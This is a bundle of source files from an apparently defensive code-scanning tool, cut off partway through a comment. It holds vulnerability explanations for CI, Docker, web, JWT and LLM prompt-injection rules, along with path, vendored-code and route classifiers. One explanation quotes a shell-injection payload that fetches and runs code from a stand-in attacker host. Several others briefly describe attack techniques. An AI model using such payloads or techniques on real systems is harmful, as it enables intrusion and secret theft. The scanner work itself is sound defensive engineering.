\"pull_request_target with a checkout of the PR head is the canonical critical CI vulnerability — any forked PR can run code (install scripts, lint hooks, build steps) with your repo's write tokens and every secret in your environment, leading to repo takeover and secret exfiltration.\",\n VC185: \"permissions: write-all gives every step in the workflow full repo, packages, and deployments write access. A single compromised action — direct or transitive — can push commits, alter releases, and steal every secret the job has access to.\",\n VC186: \"A malicious PR title or commit message containing $(curl evil.com/sh|sh) gets executed as shell on your runner with your repo's secrets — same root cause as SQL injection, just in a CI context.\",\n VC187: \"Passing repo secrets via with: hands them to the action's source code and every dependency it pulls. The 2025 tj-actions/changed-files compromise stole CI secrets exactly this way; minimize what you pass and prefer pinning by SHA.\",\n VC188: \"ADD auto-extracts archives and fetches URLs without integrity checks — both are foot-guns. Auto-extraction enables zip-slip; URL fetches break reproducibility and fetch whatever the upstream server hands back, even if compromised.\",\n VC189: \"RUN curl ... | sh executes whatever the upstream server returns at build time — no checksum, no pin. A compromise of the install host (or a subdomain takeover) bakes attacker code into your image with no audit trail.\",\n VC190: \"Without HEALTHCHECK, an orchestrator can't tell that a deadlocked or DB-pool-exhausted container is broken — it stays in the load balancer rotation serving 500s to users until a human notices and intervenes.\",\n VC191: \"verify=False disables TLS validation — anyone on the network path between your server and the upstream can intercept and modify the response, potentially feeding poisoned data into your app or stealing the API key in the request.\",\n VC192: \"Jinja2 with autoescape=False renders user input as raw HTML — any field a user controls becomes a stored XSS vector, executing JavaScript in every other user's browser when the template renders.\",\n VC193: \"tempfile.mktemp() returns a path without creating the file. An attacker with local access can win the race by creating a symlink at that path before your code opens it, redirecting your write to /etc/passwd or any other file your process can write.\",\n VC194: \"mark_safe() with non-literal input tells Django to skip HTML escaping on attacker-influenced content — turning the whole page into stored XSS that runs in every viewer's browser.\",\n VC195: \"AutoAddPolicy silently trusts whatever host key is presented on first connect — an attacker MITM-ing the SSH session presents their own key, gets accepted, and intercepts every command and credential in the session.\",\n VC196: \"ALLOWED_HOSTS = ['*'] disables Host header validation. Attackers craft requests with fake Host headers used in password-reset URLs and cache keys — poisoning password reset emails to point at attacker domains and corrupting CDN caches.\",\n VC197: \"PyJWT decode without an algorithms= allowlist accepts whatever algorithm the token claims, including alg:none. Attackers strip the signature, change the user_id to admin, and the server treats the forged token as valid.\",\n VC198: \"User input concatenated into a model message lets attackers override your assistant's instructions — exfiltrating system prompts, jailbreaking content rules, or hijacking the assistant to act in the attacker's interest within the user's session.\",\n VC199: \"A system prompt is the highest-trust part of an LLM context. Any non-literal data interpolated into it lets attackers modify the assistant's identity, safety rules, or tool boundaries — silently turning your AI feature into theirs.\",\n VC200: \"Models can be prompted to emit <script> tags or javascript: links. Rendering output via dangerouslySetInnerHTML or innerHTML turns prompt injection into ordinary XSS — full session hijack on any user who triggers the attacker-controlled response.\",\n VC201: \"A vector query with no user/tenant filter returns matches from every customer's embedded documents. In a multi-tenant RAG app, User A's question retrieves User B's private docs and the LLM cheerfully reads them aloud — silent cross-tenant data leak.\",\n VC202: \"Inserting embeddings without a user/tenant tag makes per-user filtering at query time impossible — even if you remember to filter on read, there's nothing to filter on. This is the source-side fix for the RAG cross-tenant leak.\",\n VC203: \"An LLM call without max_tokens lets attackers craft inputs that maximize output length, generating expensive responses on every request — denial-of-wallet that drains your monthly budget or trips rate limits for legitimate users.\",\n VC204: \"Without a query depth limit, attackers send 100-level-deep nested queries that explode in resolver and DB cost. The server walks every level, the database does too, and a single crafted query takes the service down.\",\n VC205: \"Even with a depth limit, queries like users(first:1000){posts(first:1000){comments(first:1000)}} are only three levels deep but resolve a billion items. Without complexity analysis, attackers DoS your GraphQL with a single request.\",\n VC206: \"Apollo Server's csrfPrevention guards against cross-site form-style requests against GraphQL mutations. Disabling it lets any website trigger mutations in a logged-in user's browser — buying, deleting, or transferring on the victim's behalf.\",\n VC207: \"Model output is attacker-influenceable via prompt injection. Feeding it into eval, new Function, a shell command, a raw SQL string, or a filesystem path turns a crafted or hallucinated response into remote code execution, command injection, SQL injection, or path traversal — your most dangerous sinks, driven by untrusted text.\",\n VC208: \"Interpolating a secret into a prompt ships your API key, token, or password to a third-party model provider, where it persists in their request logs and training-eligible data. A credential that leaves your infrastructure in prompt text should be considered compromised and rotated.\",\n VC209: \"Webhooks are delivered at-least-once. Without de-duplicating on the event id, a retried or replayed delivery re-runs the side effect — a customer is charged twice, a record is duplicated, or an entitlement is granted again. Stripe and Svix both retry on any non-2xx, so this fires in normal operation, not just under attack.\",\n VC210: \"If your auth middleware skips /api, those routes run with no gate unless each one re-checks auth itself. It is the most common way a Next.js app ends up with publicly callable API routes that everyone assumed the middleware was protecting.\",\n VC211: \"A real credit card number in source is cardholder data sitting in git history, CI logs, and every backup — a direct PCI-DSS violation. Anyone with repo access can read it, and it cannot be un-leaked once committed; the card must be treated as compromised.\",\n VC212: \"A hardcoded Social Security Number is regulated PII permanently embedded in your git history and backups. It exposes a real person to identity theft, and its presence in source can trigger breach-notification and privacy-law obligations the moment the repo is accessed.\",\n VC213: \"Anything read from localStorage belongs to the user, not to you. If a plan, role or permission is read from browser storage and branched on, unlocking the feature takes one line in devtools — no exploit, no tooling, just typing. Every paid tier and admin panel gated this way is open to anyone who opens the console.\",\n VC214: \"Browser storage is per-device and per-profile, so per-account state kept there resets on a fresh login, cleared cookies, a private window or a second machine — and the app greets a long-standing customer as brand new. It is not a security hole, it is a trust one: the product visibly does not remember who you are.\",\n};\n","/**\n * Heuristic for classifying a source file's exposure surface.\n *\n * Used in scan results to label findings as `public`, `internal`, or\n * `unknown` so the UI can prioritize the public-facing ones (a hardcoded\n * key in an API route is much worse than the same key in a config file\n * that never ships to production). Scanners attach this to every finding\n * via a `match.exposure` field.\n *\n * Lives in shared-rules so the web API and the standalone API can't drift\n * apart on what counts as \"public\" vs \"internal\" — historically there\n * were two divergent copies in those two files (different regexes, even\n * different bug fixes shipped at different times). After this\n * consolidation the heuristic has exactly one definition.\n *\n * The categories:\n *\n * - `public` : path looks like it serves end-user traffic\n * (Next.js API routes, Express/Hono routes, Rails\n * controllers, serverless function entrypoints, app-\n * router pages, view templates).\n * - `internal` : path looks like helper / lib code that's reachable\n * from public surfaces but isn't itself a request\n * handler.\n * - `unknown` : everything else (test files, scripts, build output,\n * ambiguous paths). The scanner deliberately doesn't\n * guess here — wrong \"public\" labels are a worse UX\n * than honest \"unknown\".\n *\n * The Next.js `pages/(?!api/)` lookahead is intentionally exact: it\n * excludes only the literal `pages/api/` directory from being\n * double-classified as public-page (it's already public-route on the\n * line above), without wrongly excluding things like `pages/apikey/...`\n * or `pages/admin/...`. (Macroscope #325 / vibecheck-api#4 caught a\n * regression where this lookahead was too permissive.)\n */\nexport type Exposure = \"public\" | \"internal\" | \"unknown\";\n\nexport function classifyExposure(filePath: string): Exposure {\n if (\n /(?:\\/api\\/|pages\\/api\\/|routes?\\/|controllers?\\/|endpoints?\\/|server\\.|app\\/.*route\\.)/.test(\n filePath,\n )\n ) {\n return \"public\";\n }\n if (\n /(?:app\\/.*page\\.|pages\\/(?!api\\/)|views?\\/|templates?\\/)/.test(filePath)\n ) {\n return \"public\";\n }\n if (\n /(?:lib\\/|utils?\\/|helpers?\\/|services?\\/|models?\\/|hooks?\\/)/.test(\n filePath,\n )\n ) {\n return \"internal\";\n }\n if (/(?:middleware|config|constants?)/.test(filePath)) {\n return \"internal\";\n }\n return \"unknown\";\n}\n","/**\n * Cross-file facts a rule cannot learn from the file it is scanning.\n *\n * Rules are deliberately single-file: `check(content, filePath)` sees one file\n * and nothing else. That keeps them fast, order-independent and honest about\n * what they can prove, and it is the right default. But some questions are\n * genuinely answered in a different file, and answering them by guessing from\n * the current one is worse than not answering at all.\n *\n * ProjectContext is the narrow exception: a small set of facts computed ONCE\n * over the whole file list before any rule runs, then handed to every rule.\n * It is intentionally not \"here is every file\" — that would let rules re-parse\n * the project 214 times and quietly become a cross-file analyser, which the\n * roadmap explicitly rules out as an unwinnable race against CodeQL.\n *\n * Every field is optional and every consumer must behave correctly when the\n * context is absent, because most callers (the MCP server, the VS Code\n * extension, single-file scans) have no project to build one from.\n */\n\n/** Parsed facts about the project being scanned. */\nexport interface ProjectContext {\n /**\n * Supabase Edge Functions and whether the PLATFORM verifies a JWT before\n * the function runs, from `supabase/config.toml`. Keyed by function name —\n * the directory under `supabase/functions/`.\n *\n * A missing entry means \"not declared\", which is not the same as false:\n * Supabase's own default is `verify_jwt = true`, but a function absent from\n * config.toml may simply be undeclared, so callers must treat absent as\n * unknown rather than assuming either way.\n */\n supabaseEdgeVerifyJwt?: Map<string, boolean>;\n}\n\n/**\n * `[functions.<name>]` section headers in a TOML file. Supabase also accepts\n * quoted names for functions with characters that need escaping.\n */\nconst TOML_FN_SECTION_RE = /^\\s*\\[functions\\.(?:\"([^\"]+)\"|([A-Za-z0-9._-]+))\\]\\s*$/;\nconst TOML_VERIFY_JWT_RE = /^\\s*verify_jwt\\s*=\\s*(true|false)\\s*(?:#.*)?$/i;\n\n/**\n * Parse `supabase/config.toml` for per-function `verify_jwt` settings.\n *\n * Deliberately a line scanner rather than a TOML parser. Only two constructs\n * matter, adding a TOML dependency to a package that ships in a browser bundle\n * is a poor trade for that, and a malformed config should yield fewer facts\n * rather than an exception during a scan.\n */\nexport function parseSupabaseConfig(toml: string): Map<string, boolean> {\n const out = new Map<string, boolean>();\n let current: string | null = null;\n for (const line of toml.split(/\\r?\\n/)) {\n const section = line.match(TOML_FN_SECTION_RE);\n if (section) {\n current = section[1] ?? section[2];\n continue;\n }\n // Any other section header ends the current [functions.x] block.\n if (/^\\s*\\[/.test(line)) {\n current = null;\n continue;\n }\n if (!current) continue;\n const verify = line.match(TOML_VERIFY_JWT_RE);\n if (verify) out.set(current, verify[1].toLowerCase() === \"true\");\n }\n return out;\n}\n\n/** The function name for a path under `supabase/functions/<name>/…`. */\nexport function supabaseFunctionName(filePath: string): string | null {\n const m = filePath.match(/(?:^|\\/)supabase\\/functions\\/([^/]+)\\//);\n return m ? m[1] : null;\n}\n\n/**\n * Build the context from the files about to be scanned.\n *\n * Cheap by construction: it reads a fixed, tiny set of paths rather than\n * walking content, so adding a fact here costs one more lookup, not another\n * pass over the project.\n */\nexport function buildProjectContext(\n files: Array<{ path: string; content: string }>,\n): ProjectContext {\n const ctx: ProjectContext = {};\n const config = files.find((f) => /(?:^|\\/)supabase\\/config\\.toml$/.test(f.path));\n if (config) {\n const parsed = parseSupabaseConfig(config.content);\n if (parsed.size > 0) ctx.supabaseEdgeVerifyJwt = parsed;\n }\n return ctx;\n}\n","/**\n * APP vs VENDORED path classification.\n *\n * ── Why this exists ────────────────────────────────────────────────────────\n *\n * A 20-repo field study (5 each from Lovable, v0, Bolt and Base44, scanned\n * with the full rule set — 2,961 findings) found four rules firing\n * overwhelmingly on code the app author never wrote:\n *\n * rule sev repos/20 findings vendored mean vendored%\n * VC063 critical 16 20 14 83%\n * VC017 medium 15 35 20 79%\n * VC007 high 17 46 26 69%\n * ENTROPY high 15 286 208 66%\n *\n * The tell is that the hits are byte-identical at identical line numbers\n * across unrelated repos: `components/ui/chart.tsx:81`, `sidebar.tsx:87`.\n * That is the signature of scaffold code, not of authored vulnerabilities.\n * Every one of these builders copies shadcn/ui verbatim into the project\n * (49–63 primitives per repo), and shadcn's `ChartStyle` legitimately writes\n * CSS custom properties into a `<style dangerouslySetInnerHTML>`.\n *\n * A further 458 findings in the same sweep fired inside markdown — rules\n * matching prose and example code in READMEs and docs.\n *\n * VC063 is the worst of these because it is `critical`, and `calculateGrade`\n * caps a project at D for a single critical. It is also a free-tier rule, so\n * a Lovable user's first contact with the product was an \"F — critical XSS\"\n * on a library file they did not author.\n *\n * ── Why classification and not per-rule suppression ────────────────────────\n *\n * A per-rule fix for VC063 was written and reverted (2026-07-27): genuine\n * shadcn `ChartStyle` *does* interpolate React props, so no file-local rule\n * can stay silent on shadcn while still firing on a `<style>` whose `__html`\n * comes from a prop. Every attempt to encode \"this particular `<style>` is\n * safe\" ended up spoofable from inside the scanned file. The distinguishing\n * fact is not in the code — it is *whose* code it is. So classify the file.\n *\n * ── What it does and does not do ───────────────────────────────────────────\n *\n * Vendored findings are still detected, still reported, and still shown. They\n * are excluded from `calculateGrade` only, and every surface that shows a\n * grade also shows how many findings were held out. Nothing is silently\n * dropped — that distinction is the whole point.\n *\n * ── Trust model ────────────────────────────────────────────────────────────\n *\n * This is path-based, and the paths come from the repository being scanned —\n * i.e. from the same person reading the report. It is the trust model the\n * product already ships with `.xploitscanignore`: you can always tell a tool\n * scanning your own code to ignore your own code. There is no external\n * attacker in this model, because there is no third party whose grade you can\n * influence by naming your own files.\n *\n * Two consequences are handled explicitly rather than assumed away:\n *\n * 1. A user who puts genuinely-authored code under `components/ui/` gets it\n * held out of the grade. That is a real cost, accepted knowingly: the\n * finding is still reported, and the held-out count is on-screen.\n * 2. Because a grade can be published (Trust Pages), the held-out count\n * travels with the grade everywhere the grade travels. A grade that\n * excluded findings can never render as though it excluded none.\n *\n * The classifier itself resolves `.`/`..` before matching, so a path cannot\n * claim a vendored prefix and then climb back out of it\n * (`src/components/ui/../../server/auth.ts` classifies as app code).\n */\n\n/**\n * Paths whose findings are not attributable to the code the app author wrote.\n *\n * gitignore-style patterns; see `globToRegExp` for the supported subset. The\n * list is empirical, not guessed — it comes from the FP sweep described above.\n *\n * Four families:\n *\n * 1. VENDORED UI PRIMITIVES — shadcn/ui and friends, copied verbatim into the\n * project by the builder. `components/ui/chart.tsx` and `sidebar.tsx` alone\n * account for the VC063 / VC007 / VC017 clusters.\n * 2. DOCUMENTATION — markdown and MDX. The sweep's 458 markdown findings were\n * rules matching example code inside docs, not deployed code. Note this\n * holdout does not weaken secret detection in markdown one way or the\n * other: the secret rules already decline to run on `.md` (VC001 bails on\n * `/\\.(md|txt|rst|adoc)$/`, `secretRuleCheck` gates on SECRET_FILE_EXT, and\n * the entropy scanner's SKIP_FILES covers `md`), so there is nothing here\n * for the grade to hold out. Whether that's the right call for READMEs is a\n * separate question from this one, and unchanged by it.\n * 3. AGENT / EDITOR ARTIFACTS — committed AI-assistant scratch state. One repo\n * in the sweep contributed 164 of the corpus's 286 entropy findings from a\n * single committed LLM-benchmark result set under `.agent/skills/`.\n * 4. EXPLICITLY THIRD-PARTY OR MACHINE-GENERATED TREES — the path names below\n * only ever mean \"not hand-written here\".\n */\nexport const NON_APP_PATH_PATTERNS: readonly string[] = [\n // 1. vendored UI component libraries\n \"**/components/ui/**\",\n \"**/ui/shadcn/**\",\n \"**/shadcn/ui/**\",\n \"**/shadcn/**\",\n // 2. documentation prose\n \"**/*.md\",\n \"**/*.mdx\",\n // 3. AI-agent and editor tooling artifacts. Each gets a `**/`-prefixed form\n // as well as the root-anchored one: these directories turn up per-package\n // in a monorepo, and a finding's `file` is occasionally an absolute path,\n // which makes even a repo-root `.claude/` a nested segment.\n \".claude/**\",\n \".agent/**\",\n // Plural too. `.agent/**` alone let `.agents/skills/**` through as app code,\n // and agent scaffolds ship .tsx templates — so every rule fired on somebody\n // else's boilerplate. Found 2026-09-15 while specifying the unwired-control\n // check, which produced 4 accusations against one such template.\n \".agents/**\",\n \".cursor/**\",\n \".superpowers/**\",\n \".windsurf/**\",\n \"**/.claude/**\",\n \"**/.agent/**\",\n \"**/.agents/**\",\n \"**/.cursor/**\",\n \"**/.superpowers/**\",\n \"**/.windsurf/**\",\n // 4. explicitly third-party or machine-generated trees\n \"**/vendor/**\",\n \"**/vendored/**\",\n \"**/third_party/**\",\n \"**/generated/**\",\n \"**/__generated__/**\",\n];\n\n/**\n * Compile one gitignore-style pattern to an anchored RegExp.\n *\n * Deliberately a strict subset of gitignore syntax — enough for\n * `NON_APP_PATH_PATTERNS` and nothing more, so there is no negation,\n * no character class, and no partial-match surprise to reason about:\n *\n * `**` as a whole segment, non-final → zero or more path segments\n * `**` as a whole segment, final → one or more path segments\n * `*` inside a segment → any run of characters except `/`\n * anything else → literal\n *\n * A pattern that does not start with `**` is anchored at the repo root, which\n * is what gitignore does and what `.claude/**` relies on.\n */\nfunction globToRegExp(pattern: string): RegExp {\n const segments = pattern.split(\"/\");\n let src = \"^\";\n for (let i = 0; i < segments.length; i++) {\n const seg = segments[i];\n const isLast = i === segments.length - 1;\n if (seg === \"**\") {\n // Trailing `**` requires at least one segment below it, so the pattern\n // `**/generated/**` matches files *inside* `generated/`, never a file\n // that merely happens to be named `generated`.\n src += isLast ? \".+\" : \"(?:[^/]+/)*\";\n continue;\n }\n src += seg.replace(/[.*+?^${}()|[\\]\\\\]/g, (ch) => (ch === \"*\" ? \"[^/]*\" : \"\\\\\" + ch));\n if (!isLast) src += \"/\";\n }\n // Case-insensitive on purpose. `components/UI/` and `Components/ui/` are the\n // same directory on macOS and Windows, so a case-sensitive matcher would\n // classify the identical repository differently depending on where it was\n // checked out — and would quietly leave the shadcn false positives in place\n // for every project that capitalises its component directory.\n return new RegExp(src + \"$\", \"i\");\n}\n\nconst NON_APP_MATCHERS = NON_APP_PATH_PATTERNS.map(globToRegExp);\n\n/**\n * Reduce a scanner-reported path to a repo-relative, dot-segment-free form.\n *\n * Resolving `.`/`..` *before* matching is load-bearing, not cosmetic: without\n * it, `src/components/ui/../../server/auth.ts` would match the\n * `components/ui/**` pattern while actually naming a file in `server/`.\n * Windows separators and drive letters are normalised for the same reason.\n */\nexport function normalizeScanPath(filePath: string): string {\n const raw = typeof filePath === \"string\" ? filePath : \"\";\n const trimmed = raw.trim();\n // Backslash is a separator on Windows and a perfectly legal character in a\n // POSIX filename. Translating it unconditionally would let a single file\n // named `components\\ui\\evil.tsx` claim a vendored directory that doesn't\n // exist. Only treat it as a separator when the path has no forward slashes\n // at all, i.e. when it is unambiguously a Windows path.\n const looksWindows = !trimmed.includes(\"/\") && trimmed.includes(\"\\\\\");\n const withForwardSlashes = (looksWindows ? trimmed.replace(/\\\\/g, \"/\") : trimmed)\n .replace(/^[A-Za-z]:\\//, \"/\");\n const out: string[] = [];\n for (const segment of withForwardSlashes.split(\"/\")) {\n if (segment === \"\" || segment === \".\") continue;\n if (segment === \"..\") {\n // Popping a real segment resolves the traversal. A `..` with nothing to\n // pop is kept verbatim so it stays an ordinary segment rather than\n // silently vanishing.\n if (out.length > 0 && out[out.length - 1] !== \"..\") out.pop();\n else out.push(\"..\");\n continue;\n }\n out.push(segment);\n }\n return out.join(\"/\");\n}\n\n/** True when a repo-relative path belongs to the vendored / non-app bucket. */\nexport function isVendoredPath(filePath: string): boolean {\n const normalized = normalizeScanPath(filePath);\n if (!normalized) return false;\n return NON_APP_MATCHERS.some((re) => re.test(normalized));\n}\n\n/**\n * The heuristic secret detector, excluded from the always-graded carve-out\n * below. ENTROPY says \"this string looks random\", not \"this is a credential\" —\n * and it was the single noisiest rule in the vendored bucket (208 of 286\n * firings, 164 of them from one committed LLM-benchmark result set under\n * `.agent/skills/`). A confirmed provider-key match is a different claim and\n * gets different treatment.\n */\nconst HEURISTIC_SECRET_RULES = new Set([\"ENTROPY\"]);\n\n/**\n * Rules that detect a committed credential but don't sit in the `Secrets`\n * category, so the category test below would miss them.\n *\n * VC115 — a Kubernetes `kind: Secret` manifest with plain base64 payload.\n * Filed under Infrastructure, and it lands squarely in the vendored\n * bucket in practice: `helm template` / `kustomize build` output is\n * routinely committed under `generated/`.\n * VC062 — a hardcoded encryption key or IV. Filed under Cryptography, but\n * the key material is in the file either way.\n *\n * Kept short and justified per entry. Everything else that reads\n * credential-adjacent (VC013 Supabase *anon* key misuse, VC045 weak password\n * policy, VC043 timing-unsafe compare, VC208 secret interpolated into a\n * prompt) is a code pattern rather than a committed credential, and follows\n * the normal vendored rule.\n */\nconst ALWAYS_GRADED_RULES = new Set([\"VC115\", \"VC062\"]);\n\n/**\n * True when a finding must be graded no matter where it lives.\n *\n * A committed credential is live regardless of which directory holds it. \"Not\n * my code\" is a true statement about a shadcn primitive and a meaningless one\n * about a service-role key sitting in `__generated__/client.ts` — the key is\n * in the repo, it is the author's leak, and holding it out of the grade would\n * be a worse failure than the false positives this module exists to fix.\n *\n * Keyed primarily on category rather than a rule-ID allowlist so the ~59\n * provider-key rules (VC132, VC133–VC151, VC159–VC183, and every one added\n * after this comment) are covered automatically instead of going stale on the\n * next batch.\n */\nfunction isAlwaysGraded(finding: { rule?: string; category?: string }): boolean {\n const rule = finding?.rule ?? \"\";\n if (ALWAYS_GRADED_RULES.has(rule)) return true;\n if (finding?.category !== \"Secrets\") return false;\n return !HEURISTIC_SECRET_RULES.has(rule);\n}\n\n/**\n * True when a finding should be reported but held out of the grade.\n *\n * Derived from `finding.file` every time, on purpose. `Finding.vendored` is an\n * advisory label for renderers; it is never the input to a scoring decision,\n * so a finding object that arrives over the wire with `vendored: true` cannot\n * talk `calculateGrade` out of counting it.\n */\nexport function isVendoredFinding(finding: { file?: string; rule?: string; category?: string }): boolean {\n if (isAlwaysGraded(finding)) return false;\n return isVendoredPath(finding?.file ?? \"\");\n}\n\n/**\n * Human-readable reason a path was held out, for tooltips and `--verbose`.\n * Returns null for app code.\n */\nexport function vendoredReason(filePath: string): string | null {\n const normalized = normalizeScanPath(filePath);\n if (!normalized) return null;\n if (/\\.mdx?$/.test(normalized)) return \"documentation\";\n if (/(^|\\/)(components\\/ui|shadcn)(\\/|$)/.test(normalized)) return \"vendored UI component library\";\n if (/(^|\\/)\\.(claude|agent|cursor|superpowers|windsurf)(\\/|$)/.test(normalized)) return \"AI-agent tooling artifact\";\n if (isVendoredPath(normalized)) return \"third-party or generated code\";\n return null;\n}\n","/**\n * Route-table extraction — what URL, if any, reaches a given source file.\n *\n * WHY A SCANNER WANTS THIS. Severity is not a property of a line of code, it is\n * a property of who can reach it. A hardcoded secret in\n * `src/app/api/webhooks/stripe/route.ts` is reachable by anyone who can send a\n * POST; the same secret in a build script is not reachable at all. Nothing in\n * the finding itself carries that distinction, and a scanner that only reads\n * files cannot invent it.\n *\n * Attaching a route to a finding turns \"hardcoded secret in a file you have to\n * go look up\" into \"hardcoded secret reachable at POST /api/webhooks/stripe\".\n *\n * EVERY GATE BELOW EXISTS BECAUSE IT FIRED. Measured against real repositories:\n *\n * - `src/pages/*.tsx` is NOT Next routing in a Vite app. Lovable, Bolt and\n * Base44 ship a plain `src/pages/` component folder; matching it invented\n * 38 phantom routes in one repo, with case-duplicate pairs (/about AND\n * /About) and entries like /Index and /NotFound that do not exist.\n * - A config file is not a dependency. That same repo carries a stray unused\n * `next.config.js` with no `next` in package.json; trusting the file\n * re-invented all 38.\n * - `app.get(\"/download\", ...)` inside THIS repo's own rule-override examples\n * produced phantom Express routes in a package with no express dependency.\n * A scanner scanning a scanner finds \"routes\" in its documentation samples.\n * - The homepage went missing from every Next project using `src/`: the\n * pattern required `app/<seg>/page.tsx` or a TOP-LEVEL `app/page.tsx`, so\n * nested `src/app/page.tsx` matched neither and \"/\" — the single most\n * important route in any app — was silently absent.\n *\n * A phantom route is worse than a missing one: it attaches a confident, wrong\n * URL to a real finding. Hence every framework's conventions are gated on that\n * framework actually being a declared dependency.\n *\n * Accuracy at the time of writing, against hand-counted ground truth:\n * Next App Router (this repo's web package) 135/135, \"/\" included\n * React Router (a Lovable app) 40/40, 0 missed, 0 extra\n * TanStack Start (a Lovable app) 6/6\n * Flask (a Python dashboard) 53/53\n */\n\nexport type RouteFramework =\n | \"next-app\"\n | \"next-pages\"\n | \"react-router\"\n | \"tanstack-router\"\n | \"flask-fastapi\"\n | \"express\";\n\nexport interface AppRoute {\n /** URL path, e.g. \"/api/webhooks/stripe\". */\n path: string;\n /** `api` is a data endpoint; `page` renders a document. */\n kind: \"page\" | \"api\";\n /** Contains a parameter segment, so it cannot be fetched without a value. */\n dynamic: boolean;\n framework: RouteFramework;\n /** Repo-relative file that declares it. */\n source: string;\n}\n\nexport interface RouteTable {\n frameworks: RouteFramework[];\n routes: AppRoute[];\n}\n\ninterface SourceFile {\n path: string;\n content: string;\n}\n\nconst API_RE = /^\\/api(\\/|$)|^\\/_|\\.(json|js|xml|txt|ico)$/;\nconst DYNAMIC_RE = /:[A-Za-z_]|\\[[^\\]]+\\]|<[^>]+>|\\$[A-Za-z_]|\\*/;\n\n/** Reads a dependency out of the nearest package.json we were given. */\nfunction hasDep(files: SourceFile[], name: string): boolean {\n const pkg = files.find(\n (f) => f.path === \"package.json\" || f.path.endsWith(\"/package.json\"),\n );\n if (!pkg) return false;\n try {\n const json = JSON.parse(pkg.content) as {\n dependencies?: Record<string, string>;\n devDependencies?: Record<string, string>;\n };\n return Boolean({ ...(json.dependencies ?? {}), ...(json.devDependencies ?? {}) }[name]);\n } catch {\n return false;\n }\n}\n\nfunction normalize(p: string): string {\n if (!p.startsWith(\"/\")) return \"\";\n if (p.length > 1 && p.endsWith(\"/\")) return p.replace(/\\/+$/, \"\");\n return p;\n}\n\n/**\n * Extract every route the given files declare.\n *\n * Pure: takes file contents, touches no filesystem, so it runs identically in\n * the CLI, the API and a test.\n */\nexport function extractRoutes(files: SourceFile[]): RouteTable {\n const routes = new Map<string, AppRoute>();\n const frameworks = new Set<RouteFramework>();\n\n const add = (\n raw: string,\n framework: RouteFramework,\n source: string,\n kindOverride?: \"page\" | \"api\",\n ): void => {\n const path = normalize(raw);\n if (!path || routes.has(path)) return;\n routes.set(path, {\n path,\n // The URL prefix is a fallback, not the authority. A Next `route.ts` is a\n // handler wherever it lives: /free-trust-page/claim/start/route.ts is an\n // endpoint, not a page, and calling it a page mislabels what an attacker\n // would actually hit.\n kind: kindOverride ?? (API_RE.test(path) ? \"api\" : \"page\"),\n dynamic: DYNAMIC_RE.test(path),\n framework,\n source,\n });\n frameworks.add(framework);\n };\n\n const isNext = hasDep(files, \"next\");\n const isExpress =\n hasDep(files, \"express\") || hasDep(files, \"hono\") || hasDep(files, \"koa\");\n const isTanstack =\n hasDep(files, \"@tanstack/react-router\") || hasDep(files, \"@tanstack/react-start\");\n\n // --- TanStack generates a manifest; prefer it over guessing at filenames ---\n // It lists each route twice: the internal id (\"/_authenticated/dashboard\")\n // and the real URL (\"/dashboard\"). A segment starting with `_` is a pathless\n // layout that never appears in a URL, so such a path is an id, not a route.\n if (isTanstack) {\n const gen = files.find((f) => f.path.endsWith(\"routeTree.gen.ts\"));\n if (gen) {\n for (const m of gen.content.matchAll(/'(\\/[A-Za-z0-9_\\-/$.]*)'/g)) {\n if (m[1].split(\"/\").some((seg) => seg.startsWith(\"_\"))) continue;\n add(m[1], \"tanstack-router\", gen.path);\n }\n }\n }\n\n for (const file of files) {\n const rel = file.path;\n\n if (isNext) {\n // One optional group covers both `app/page.tsx` and `app/x/y/page.tsx`,\n // at any nesting depth. Two separate patterns dropped \"/\".\n const page = rel.match(/(?:^|\\/)app\\/(?:(.*)\\/)?page\\.(tsx?|jsx?)$/);\n if (page) {\n const segs = (page[1] ?? \"\")\n .split(\"/\")\n .filter(Boolean)\n .filter((s) => !/^\\(.*\\)$/.test(s)); // (group) folders are not URL segments\n add(\"/\" + segs.join(\"/\"), \"next-app\", rel);\n }\n const handler = rel.match(/(?:^|\\/)app\\/(?:(.*)\\/)?route\\.(tsx?|jsx?)$/);\n if (handler) {\n const segs = (handler[1] ?? \"\")\n .split(\"/\")\n .filter(Boolean)\n .filter((s) => !/^\\(.*\\)$/.test(s));\n add(\"/\" + segs.join(\"/\"), \"next-app\", rel, \"api\");\n }\n const pages = rel.match(/(?:^|\\/)pages\\/(.+)\\.(tsx?|jsx?)$/);\n if (pages && !/^_/.test(pages[1].split(\"/\").pop() ?? \"\")) {\n const p = \"/\" + pages[1].replace(/\\/index$/, \"\").replace(/^index$/, \"\");\n add(p === \"/\" ? \"/\" : p, \"next-pages\", rel);\n }\n }\n\n if (!/\\.(tsx?|jsx?|mjs|cjs|py)$/.test(rel)) continue;\n const src = file.content;\n\n // --- React Router -------------------------------------------------------\n for (const m of src.matchAll(/<Route\\s[^>]*path\\s*=\\s*[\"'`]([^\"'`]+)[\"'`]/g)) {\n add(m[1].startsWith(\"/\") ? m[1] : \"/\" + m[1], \"react-router\", rel);\n }\n if (/createBrowserRouter|createHashRouter|useRoutes/.test(src)) {\n for (const m of src.matchAll(/path\\s*:\\s*[\"'`]([^\"'`]+)[\"'`]/g)) {\n add(m[1].startsWith(\"/\") ? m[1] : \"/\" + m[1], \"react-router\", rel);\n }\n }\n\n // --- Flask / FastAPI ----------------------------------------------------\n for (const m of src.matchAll(\n /@\\w+\\.(?:route|get|post|put|patch|delete)\\(\\s*[\"']([^\"']+)[\"']/g,\n )) {\n add(m[1], \"flask-fastapi\", rel);\n }\n for (const m of src.matchAll(/add_url_rule\\(\\s*[\"']([^\"']+)[\"']/g)) {\n add(m[1], \"flask-fastapi\", rel);\n }\n\n // --- Express ------------------------------------------------------------\n if (isExpress) {\n for (const m of src.matchAll(\n /\\b(?:app|router)\\.(?:get|post|put|patch|delete|all)\\(\\s*[\"'`]([^\"'`]+)[\"'`]/g,\n )) {\n add(m[1], \"express\", rel);\n }\n }\n }\n\n return {\n frameworks: [...frameworks],\n routes: [...routes.values()].sort((a, b) => a.path.localeCompare(b.path)),\n };\n}\n\n/**\n * The route a given file is reachable at, if any.\n *\n * Matches on the declaring file only. A helper imported BY a route handler is\n * reachable too, but proving that needs an import graph — claiming it from a\n * filename match would attach confident, wrong URLs to real findings, which is\n * the failure mode every gate above exists to prevent.\n */\nexport function routeForFile(table: RouteTable, filePath: string): AppRoute | undefined {\n const norm = filePath.replace(/^\\.\\//, \"\");\n return table.routes.find((r) => r.source === norm || r.source.endsWith(\"/\" + norm));\n}\n","/**\n * INTENT vs IMPLEMENTATION\n *\n * Every other scanner answers \"is there a known-bad pattern here\". This\n * answers a different question: \"does the code do what its author said it\n * would\". That question is normally unanswerable by a static tool, because\n * intent lives in someone's head.\n *\n * It does not live only in the 